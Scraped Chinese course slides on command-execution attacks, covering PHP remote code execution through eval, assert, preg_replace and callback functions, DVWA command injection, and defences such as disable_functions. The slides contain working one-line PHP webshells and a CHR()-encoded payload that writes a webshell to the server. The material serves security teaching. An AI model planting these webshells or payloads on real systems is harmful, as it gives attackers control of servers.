版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第8章命令执行攻击01命令执行攻击的原理02远程命令执行漏洞03系统命令执行漏洞04有效的防护方案目录CONTENTS命令执行示例
dvwa中,CommandInjection的功能是输入一个IP,可以执行一个ping命令。window和linux系统都可以用&&来执行多条命令。当输入IP后,使用&&再加上一个其他命令,则后面的命令也会被执行。命令执行攻击的原理命令执行命令执行攻击的原理
命令执行的效果类似包含攻击,主要是由于输入的参数被当成命令来执行。
如果目标站点在设计时,其过滤功能不严格或数据与代码区分不明显,极易导致命令执行漏洞的存在。
命令执行漏洞分为远程命令执行漏洞与本地命令执行漏洞。命令执行攻击的原理01命令执行攻击的原理02远程命令执行漏洞03系统命令执行漏洞04有效的防护方案目录CONTENTS命令执行远程命令执行漏洞的定义也称为远程代码执行漏洞。
是用户通过浏览器远程提交执行命令和参数,服务器在没有对执行命令和参数进行过滤的情况下,很有可能使攻击者在服务器上执行一代恶意构造的代码。
以一句话木马为例。常见的一句话木马:<?php@eval($_POST[‘apple’]);?>就是以eval的方式将POST过来的参数数据以PHP的方式加以执行。其中,apple参数由外部传入,也就是成为攻击者的可控参数,从而形成远程命令执行的漏洞。
下面介绍几种远程命令执行漏洞。远程命令执行漏洞命令执行利用系统函数实现远程命令执行在PHP下,允许远程命令执行的函数有eval()、assert()、preg_replace()、call_user_func()。如果页面中存在上述函数且其参数可被用户控制,同时没有对参数做有效的过滤,就可能存在远程命令执行漏洞。远程命令执行漏洞命令执行利用系统函数实现远程命令执行1.eval()和assert()eval(string$code):把字符串$code当代码来执行。assert(mixed$assertion):检查$assertion为TRUE或
FALSE。如果$assertion是字符串,它将会被assert()当做PHP代码来执行。例如:<?php$s=123;assert("is_int($s)");?>
远程命令执行漏洞命令执行利用系统函数实现远程命令执行eval()和assert()eval()和assert()在执行效果上基本相同,均可动态执行代码,且接收的参数为字符串。在实战中,eval()函数通常会被系统禁用,因此在一句话木马中通常利用assert()来实现代码。例如:
<?phpassert(@_REQUEST[‘APPLE’]);?>远程命令执行漏洞命令执行利用系统函数实现远程命令执行2.preg_replace()mixedpreg_replace(mixed$pattern,mixed$replacement,mixed$subject[,int$limit=-1[,int&$count]])搜索subject中匹配pattern的部分,以replacement进行替换。$limit:可选,对于每个模式用于每个subject字符串的最大可替换次数。默认是-1(无限制)。$count:可选,为替换执行的次数该函数常用于对传入的参数进行正则匹配过滤,实现对参数的输入的有效过滤,广泛应用于各类系统功能中。远程命令执行漏洞命令执行利用系统函数实现远程命令执行2.preg_replace()mixedpreg_replace(mixed$pattern,mixed$replacement,mixed$subject[,int$limit=-1[,int&$count]])
当$pattern中存在一个“/e”时,$replacement的值会被当成PHP代码来执行。例如文件preg_replace.php:
<?php
echopreg_replace(“/test/e”,$_GET[‘h’],
“justtest!”);
?>在浏览器中输入:http://服务器IP/preg_replace.php?h=phpinfo(),可以看到phpinfo()被执行。远程命令执行漏洞命令执行利用系统函数实现远程命令执行2.preg_replace()
但要注意的是,目前在PHP5.4及以下版本中,preg_replace()可正常执行代码,而在PHP5.5及后续版本中会提醒“/e”修饰符已被弃用,要求用preg_replace_callback()来代替。
使用preg_replace()函数的好处在于,此函数在业务系统中广泛使用,因此无法直接在PHP中进行禁用,在适用范围上比eval()、assert()函数好很多。但随着PHP版本的提升,preg_replace()函数可使用的范围也非常小了。远程命令执行漏洞命令执行利用系统函数实现远程命令执行3.利用其他函数实现
在命令执行漏洞中,还可利用其他函数的组合来实现类似的功能。例如,array_map()、call_user_func()等,例如代码:
<?php
$cmd=$_GET[‘cmd’];
$some_array=array(0,1,2,3);
$new_array=array_map($cmd,$some_array);
?>浏览器中输入:http://服务器IP/array_map.php?cmd=phpinfo可执行phpinfo远程命令执行漏洞命令执行利用系统函数实现远程命令执行3.利用其他函数实现同种类型的函数还有:远程命令执行漏洞ob_start(),unserialize(),create_function()usort,uasort(),uksort()array_filter()array_reduce()array_diff_uassoc(),array_diff_ukey()array_udiff(),array_udiff_assoc(),array_udiff_uassoc()array_intersect_assoc(),array_intersect_uassoc()array_uintersect(),array_uintersectassoc(),array_uintersect_uassoc()array_walk(),array_walk_recursive()命令执行利用系统函数实现远程命令执行4.利用动态函数执行
PHP语言的特性之一就是当前的PHP函数可直接由字符串拼接而成。因此,很多程序用了动态函数的写法,比如用可控的函数名来动态生成要执行的函数名称及内容。在命令执行功能中,可利用这个特性实现命令的执行。环境测试代码如下:
<?php
$a=$_GET[‘a’];
$b=$_GET[‘b’];
echo$a($b);
?>浏览器中输入:http://服务器IP/a_b.php?a=assert&&b=phpinfo()仍可拼接成命令执行。远程命令执行漏洞命令执行利用漏洞获取webshell如果存在远程命令执行漏洞,攻击者最想获得的就是目的站点的webshell,即目标站点的控制权限。在这个过程中,利用木马技术是获取webshell的有效手段。针对存在远程命令执行漏洞的环境,攻击者会尝试构建可执行的命令,并在命令执行后会导致目标站点在其本地生成一个PHP页面。生成的PHP页面中包含一句话木马。这个过程中,有效的命令格式为:fputs(fopen(“a.php”,“w”),’<?phpeval($_POST[“cmd”])?>’);远程命令执行漏洞我们发现,直接用上述命令提交,浏览器会把字符转义成HTML实体命令执行利用漏洞获取webshell为避免这种情况,我们需要利用CHR对字符进行ASCII转换,进而实现执行。因此,以上代码转换为如下形式:CHR(102).CHR(112).CHR(117).CHR(116).CHR(115).CHR(40).CHR(102).CHR(111).CHR(112).CHR(101).CHR(110).CHR(40).CHR(34).CHR(97).CHR(46).CHR(112).CHR(104).CHR(112).CHR(34).CHR(44).CHR(34).CHR(119).CHR(34).CHR(41).CHR(44).CHR(39).CHR(60).CHR(63).CHR(112).CHR(104).CHR(112).CHR(32).CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(34).CHR(99).CHR(109).CHR(100).CHR(34).CHR(93).CHR(41).CHR(63).CHR(62).CHR(39).CHR(41).CHR(59)远程命令执行漏洞01命令执行攻击的原理02远程命令执行漏洞03系统命令执行漏洞04有效的防护方案目录CONTENTS命令执行系统命令执行漏洞相对于远程命令执行漏洞,系统命令执行漏洞是指利用系统自身的命令实现额外的命令执行。以DVWA中CommandInjection为例,其low级别的源代码如下:系统命令执行漏洞<?phpif(isset($_POST['Submit'])){$target=$_REQUEST['ip'];if(stristr(php_uname('s'),'WindowsNT')){$cmd=shell_exec('ping'.$target);}else{$cmd=shell_exec('ping-c4'.$target);}echo"<pre>{$cmd}</pre>";}?>可以看出,此功能是利用了PHP的系统命令执行函数来调用系统命令并执行。这类函数有system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()等。命令执行系统命令执行漏洞要想在完成系统本来命令的基础上再执行其他系统命令,需要用到连接符。连接符有:Windows:&前面的语句执行为真为假都直接执行后面的命令&&前面的语句为假则直接出错,后面的也不执行|是管道,表示将前面命令的输出作为后面命令的输入,并且只显示后面命令的执行结果||前面命令出错才执行后面的命令Linux:;前面的执行完执行后面的|是管道,表示将前面命令的输出作为后面命令的输入,并且只显示后面命令的执行结果||当前面的命令出错时执行后面的命令系统命令执行漏洞01命令执行攻击的原理02远程命令执行漏洞03系统命令执行漏洞04有效的防护方案目录CONTENTS命令执行相对于其他的漏洞,命令执行漏洞的利用方式及思路非常清晰,并且防护方案也比较明确。主要思路是消除漏洞存在环境,或针对传入的参数进行严格限制或过滤,从而有效避免漏洞出现。有效的防护方案命令执行禁用部分系统函数很多高危系统函数在真实而退役中并没有被太多使用,因此可以直接禁用,从根本上避免程序中命令执行类漏洞的出现。在PHP下禁用高危系统函数的方法为:打开PHP安装目录,找到php.ini,查找到disable_functions,添加需要禁用的函数名。需要禁用的函数名有:phpinfo(),eval(),passthru(),exec(),system(),chroot(),
scandir(),chgrp(),chown(),shell_exec(),proc_open(),proc_get_status(),ini_alter(),ini_restore(),dl(),pfsockopen(),openlog(),syslog(),readlink(),symlink(),popepassthru(),stream_socket_server(),fsocket(),fsockopen()有效的防护方案命令执行严格过滤关键字符在利用命令漏洞
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025福建福州左海高铁有限公司(第二次)招聘3人参考考试试题及答案解析
- 2025福建福州新投新筑开发建设有限公司市场化选聘职业经理人1人备考笔试题库及答案解析
- 2025广西北海银滩开发投资股份有限公司招聘2人备考考试试题及答案解析
- 2025下半年四川凉山州西昌市教育系统考核引进教师98人备考笔试题库及答案解析
- 深度解析(2026)《GBT 26103.3-2010GCLD 型鼓形齿式联轴器》(2026年)深度解析
- 深度解析(2026)《GBT 26040-2010锡酸钠》(2026年)深度解析
- 2025广东广州市卫生健康委员会直属事业单位广州市第十二人民医院第一次招聘26人模拟笔试试题及答案解析
- 2026贵州安顺市平坝第一高级中学公费师范生及高层次人才引进2人(第二批)备考考试题库及答案解析
- 深度解析(2026)《GBT 25793-2010反应黄KN-GR 150%(C.I.反应黄15)》(2026年)深度解析
- 2025福建厦门市集美区寰宇实验幼儿园招聘1人考试参考试题及答案解析
- 2025四川航天川南火工技术有限公司招聘考试题库及答案1套
- 2025年度皮肤科工作总结及2026年工作计划
- (一诊)成都市2023级高三高中毕业班第一次诊断性检测物理试卷(含官方答案)
- 四川省2025年高职单招职业技能综合测试(中职类)汽车类试卷(含答案解析)
- 2025年青岛市公安局警务辅助人员招录笔试考试试题(含答案)
- 2024江苏无锡江阴高新区招聘社区专职网格员9人备考题库附答案解析
- 科技园区入驻合作协议
- 电大专科《个人与团队管理》期末答案排序版
- 山东科技大学《基础化学(实验)》2025-2026学年第一学期期末试卷
- 2025西部机场集团航空物流有限公司招聘笔试考试备考试题及答案解析
- 2025年吐鲁番辅警招聘考试题库必考题
评论
0/150
提交评论